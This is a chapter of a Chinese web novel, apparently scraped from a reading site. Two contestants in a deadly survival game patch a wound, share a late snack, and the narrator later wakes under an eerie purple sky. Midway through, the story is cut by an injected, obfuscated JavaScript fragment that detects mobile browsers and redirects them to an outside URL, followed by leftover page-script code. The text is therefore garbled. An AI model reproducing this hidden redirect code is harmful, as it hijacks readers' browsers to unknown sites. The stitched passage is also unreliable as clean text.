秦均影语气虽淡漠,回答得却很有耐心:“从调整体质或感官数据,到兑换重火力杀伤性武器,应有尽有……只是,这些全都要消耗生存时间。” 他顿了顿,举了个更具体的例子: “比如今天蓝组那个被砍了手的大叔,如果能及时赶到‘遗迹’的话,是可以通过消耗生存时间来完全将断掉的手臂接回去的。” 令言好奇道:“那断肢再植要花费多少时间?” 秦均影答:“整只手的话,好像是六十八的小时。” 令言闻言,倒抽了一口凉气:“居然要差不多三天吗,这也太坑了!” 生存时间是必须在竞技场里拼命才能赚到的,总共也才六天左右,一下子耗掉一半的生存时间,搁谁能不心疼啊! 这时他已经帮秦均影处理干净了伤口,并用纱布和绷带严严实实地包扎好了。 “不过这样处理还不够。” 令言轻轻点了点秦均影乖乖搁在桌上的手背: “还得给你打破伤风和狂犬病疫苗……另外口服消炎药效力不一定够,万一感染了那可就完蛋了,能吊针是最保险的,至少也得肌注。” 他看向秦均影:“这附近有医院吗?我们进去找点药吧?” 说完,没等秦均影回答,令医生又忽然蹙起眉,嘀咕起来: “不过全城都停电了,冰箱里的疫苗过了四天会不会失效了啊?……这可怎么办?……中心冷库应该好点吧?如果一直没开过门的话,或许冷气还没散尽……” “不用找医院。” 看令言真心实意地担心着自己,秦均影心里莫名有些暖。 “这个伤,明天去‘遗迹’的时候可以一并处理掉,不会感染的。” 令言追问:“会消耗很多生存时间吗?” 秦均影摇了摇头,“不会,皮外伤的话,几个小时就可以了。” 令言这才放下心来。 也对,在这么一个缺医少药的荒城里被迫参加各种极限式的赛事,要是还要挑战者们完全自力更生,那保不准发个烧拉个肚子都能产生大量的非战斗减员,那对主办方来说可就太亏了。 而如果让挑战者用生存时间来兑换医疗资源,不仅可以减少这些“不精彩”的死亡,还能变相逼迫他们多参加几场比赛,岂非一举两得? ### 处理好伤口后,令言给秦均影塞了两片消炎药,又替他将药箱整理了一番。 虽说能在“遗迹”那儿治病,但生存时间难赚,能省一点是一点,一些日常的小伤小痛能自己处理就自己处理了,所以这些日常能用得上的药品还是绝对不能缺少的。 这时秦均影站了起来,“你饿不饿?” 正在关箱子的令言一愣,“啊……” 他今天过得极混乱。 前一日才刚刚熬了一个极其忙碌的二十四小时班,一天半的时间里断断续续睡不到六个小时,深眠时间更是短得令人发指。 好不容易回到宿舍,泡面吃到一半就莫名其妙穿越了,还一落地就是竞技场现场,生死攸关的挑战赛让他整个人处在应激状态,脑子被各种重要信息塞满,根本没空间腾给饥饿和疲倦。 现在经秦均影这么一问,他才恍然感觉到腹中空空,又累又饿。 “嗯,是有点儿。” 令言不好意思地点了点头。 秦均影没说什么,转身进了厨房,很快又出来,手里拿着几个包装袋。 “天然气也停了,没法开火,随便凑合吧。” 他将包装袋放到了茶几上,示意令言自便。 秦均影拿来的是两个面包,一包芝士夹心饼干,一袋青柠口味的薯片,两根火腿肠,以及给健身人士解馋用的即食鸡胸肉,另外还有两根明显有些熟过头的香蕉。 从包装来看,这肯定是从便利店里薅来的。 “谢谢。” 对于平常就吃得很凑合的令言来说,这些即食食品当然算不得美味,但也没到食不下咽的地步。 他拆开面包咬了一口。 满满的红豆馅,偏甜的调味对于快要低血糖的他来说反而是恰到好处的令人愉悦的味道。 “没电没煤气……” 令言一边啃面包一边问:“那还有水吗?” “水倒是还有。” 秦均影回答:“是天台蓄水池里的水,日常生活暂时还是够的。” 事实上,随着一场一场的挑战赛不断展开,城里的居民只会越来越少,生活物资的问题倒是容易解决。 更何况,只要舍得付出生存时间,“遗迹”里也是能换到新鲜的食物和水源,以及别的生活必需品的。 ### 吃完红豆面包,令言撕开火腿肠的包装开始啃。 平常他也经常吃这个牌子的火腿肠。 与软绵绵的淀粉肠不同,这款火腿肠口口都是肉,用料很是扎实,里面还有火腿粒,吃着特别香。 只是令言平常都把火腿肠加进泡面里,连汤带面的一起吃,直接这么干啃还是稍嫌腻了。 他伸手拿起没喝完的矿泉水,仰头灌了两口,余光不经意瞥见挂在墙上的时钟。 时钟还在走动,显示现在是十二点四十分,按照这里的时间算,已经是5月16日了。 令言:“……” 他一边啃着香肠,一边琢磨接下来应该怎么办。 照理说自己和秦均影萍水相逢,只是凑巧跟他分在了同一场比赛,就被自己莫名其妙地赖上了,对方应该也是很无奈了。 现在自己不仅吃他的喝他的,还找他打听一大堆事情,而自己能给他的唯一回报,仅仅只是帮他包扎了一下伤口而已。 也亏得秦均影没把他赶出去。 理智上,令言知道自己没资格也没立场再赖在别人的落脚地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522546|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他初来乍到的什么都不懂,若是现在流落街头,令言光是想想就觉得恐怖。 ——要不然就厚着脸皮在这里待到天亮……至少等明天去过“遗迹”再做打算吧…… “那边的房间还空着。” 正想得入神时,令言忽然听到秦均影的声音。 他嘴里含着一口火腿肠抬头,屋主正抬手指向右侧的一扇门,“柜子里有新的床具,你自己换一下吧。” 令言心道秦均影虽然看着不算亲切,但实在是个热心肠的好人,不仅没赶他走,还愿意分他一个房间让他过夜。 “谢谢!” 令医生恳切地向屋主道谢:“今天真是太谢谢你了!” 令言觉得秦均影实在是助他良多,不止是竞技场结束后给他提供的这一系列帮助,还有在竞技场时,要不是秦均影连问都不问就帮他撂倒了那个想选刀刺胸口指令的健壮小哥,那比赛八成没法儿善了呢。 “……” 秦均影没接话,只移开了视线,利落又迅速地吃完了自己那份宵夜。 “现在很晚了,你吃完就早点休息吧。” 随即他站起身,简单收拾了空了的包装袋。 “浴室在那边,镜柜里有新的牙刷和毛巾。” 说完,他顿了顿,又补充道: “有什么问题,我明天再跟你解释。” 看令言乖乖地点头,秦均影抿了抿嘴唇,似乎是很浅地笑了一下,然后转身进了浴室。 ### 既然屋主这么说了,令言也就不再纠结。 他吃完宵夜,从分配给自己的临时房间的衣柜里翻出了没穿过的干净衣物,就像住民宿一样进浴室洗漱去了。 停电停煤气,热水器自然是打不着火的。 好在现在已是五月初了,气温不低,冷水澡咬咬牙也能适应。 洗漱过后,令言回了房间,头一沾上枕头,不到一分钟便丧失了意识。 也许是令医生本身精神强韧,抗压能力比一般人要强得多,或是单纯只是他实在是折腾得太累了,已经连担惊受怕的力气都没有了。总之这一觉他睡得极熟,早上醒来时,甚至连睡姿都和刚躺下那会儿没多大区别。 “……几点了?” 令言嘟哝着,左右四顾。 在找到时钟前,他首先注意到了窗帘半敞的窗户。 窗外是一片狭长的绿化带,没有建筑物遮挡,令言便能清楚地看到一片天空。 虽说天的确是亮了,但天空却是非常古怪的灰紫色,能见度也不高,就仿佛室外充斥着厚重的紫色雾霾一般。 令言坐在床上,呆呆地盯着那片诡异的紫色天空。 “……果然,我是真穿越了啊。” 半晌后,令言才自言自语道。 虽不愿承认,但昨天发生的一切果然不是梦境,而是真真切切的事实。 那每天在CCU里忙忙碌碌,虽然辛苦但也很有成就感的日常已经回不来了。 他当务之急是要给自己多挣点生存时间,同时想办法搞清楚到底发生了什么,又怎么才能离开这个见鬼的废墟城市,回到原本的世界。